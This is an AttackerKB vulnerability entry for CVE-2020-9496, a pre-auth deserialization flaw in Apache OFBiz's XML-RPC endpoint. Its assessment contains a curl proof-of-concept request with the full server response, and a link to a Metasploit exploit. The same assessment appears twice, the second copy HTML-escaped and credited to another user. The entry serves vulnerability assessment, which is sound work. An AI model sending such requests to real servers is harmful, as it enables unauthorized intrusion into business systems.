CVE-2020-9496

2020-07-15T00:00:00
ID AKB:274E3983-7823-4CD0-B47C-0EBC25DD5646
Type attackerkb
Reporter AttackerKB
Modified 2020-08-28T00:00:00

Description

XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03

Recent assessments:

wvu-r7 at August 13, 2020 8:00pm UTC reported:

Pre-auth RCE in ERP software that’s free and isn’t SAP? Sweet. And it’s a long-standing Apache project that’s often recommended. Here’s a PoC:

wvu@kharak:~$ curl -vH "Content-Type: text/xml" http://127.0.0.1:8080/webtools/control/xmlrpc -d '<?xml version="1.0"?><methodCall><methodName>foo</methodName><params><param><value><struct><member><name>bar</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> POST /webtools/control/xmlrpc HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: text/xml
> Content-Length: 273
>
* upload completely sent off: 273 out of 273 bytes
< HTTP/1.1 200 OK
< Server: Apache-Coyote/1.1
< Set-Cookie: JSESSIONID=D090A373F50D50CF8CFCF2F9E301D04A.jvm1; Path=/webtools/; Secure; HttpOnly
< Set-Cookie: OFBiz.Visitor=10221; Expires=Fri, 13-Aug-2021 19:57:20 GMT; Path=/
< Content-Type: text/xml;charset=UTF-8
< Transfer-Encoding: chunked
< Vary: Accept-Encoding
< Date: Thu, 13 Aug 2020 19:57:20 GMT
<
* Connection #0 to host 127.0.0.1 left intact
<?xml version="1.0" encoding="UTF-8"?><methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions"><fault><value><struct><member><name>faultCode</name><value><i4>0</i4></value></member><member><name>faultString</name><value>Failed to read result object: null</value></member></struct></value></fault></methodResponse>* Closing connection 0
wvu@kharak:~$

A lot of orgs rely on ERP software, and you’re bound to find sensitive information in an ERP system. Note that these systems will likely be inside the network perimeter. High value for pentesters on an internal, I’d say.

Note that the CVE seems to conflate this with XSS. CVSS score seems lower than I’d expect.

ETA: Here’s an exploit: <https://github.com/rapid7/metasploit-framework/pull/14000>.

Assessed Attacker Value: 5
Assessed Attacker Value: 5pbarry-r7 at August 24, 2020 3:13am UTC reported:

Pre-auth RCE in ERP software that’s free and isn’t SAP? Sweet. And it’s a long-standing Apache project that’s often recommended. Here’s a PoC:

wvu@kharak:~$ curl -vH "Content-Type: text/xml" http://127.0.0.1:8080/webtools/control/xmlrpc -d '&lt;?xml version="1.0"?&gt;&lt;methodCall&gt;&lt;methodName&gt;foo&lt;/methodName&gt;&lt;params&gt;&lt;param&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;bar&lt;/name&gt;&lt;value&gt;&lt;serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"&gt;&lt;/serializable&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;&lt;/methodCall&gt;'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
&gt; POST /webtools/control/xmlrpc HTTP/1.1
&gt; Host: 127.0.0.1:8080
&gt; User-Agent: curl/7.64.1
&gt; Accept: */*
&gt; Content-Type: text/xml
&gt; Content-Length: 273
&gt;
* upload completely sent off: 273 out of 273 bytes
&lt; HTTP/1.1 200 OK
&lt; Server: Apache-Coyote/1.1
&lt; Set-Cookie: JSESSIONID=D090A373F50D50CF8CFCF2F9E301D04A.jvm1; Path=/webtools/; Secure; HttpOnly
&lt; Set-Cookie: OFBiz.Visitor=10221; Expires=Fri, 13-Aug-2021 19:57:20 GMT; Path=/
&lt; Content-Type: text/xml;charset=UTF-8
&lt; Transfer-Encoding: chunked
&lt; Vary: Accept-Encoding
&lt; Date: Thu, 13 Aug 2020 19:57:20 GMT
&lt;
* Connection #0 to host 127.0.0.1 left intact
&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions"&gt;&lt;fault&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;faultCode&lt;/name&gt;&lt;value&gt;&lt;i4&gt;0&lt;/i4&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;faultString&lt;/name&gt;&lt;value&gt;Failed to read result object: null&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/fault&gt;&lt;/methodResponse&gt;* Closing connection 0
wvu@kharak:~$

A lot of orgs rely on ERP software, and you’re bound to find sensitive information in an ERP system. Note that these systems will likely be inside the network perimeter. High value for pentesters on an internal, I’d say.

Note that the CVE seems to conflate this with XSS. CVSS score seems lower than I’d expect.

ETA: Here’s an exploit: <https://github.com/rapid7/metasploit-framework/pull/14000>.

Assessed Attacker Value: 5
Assessed Attacker Value: 5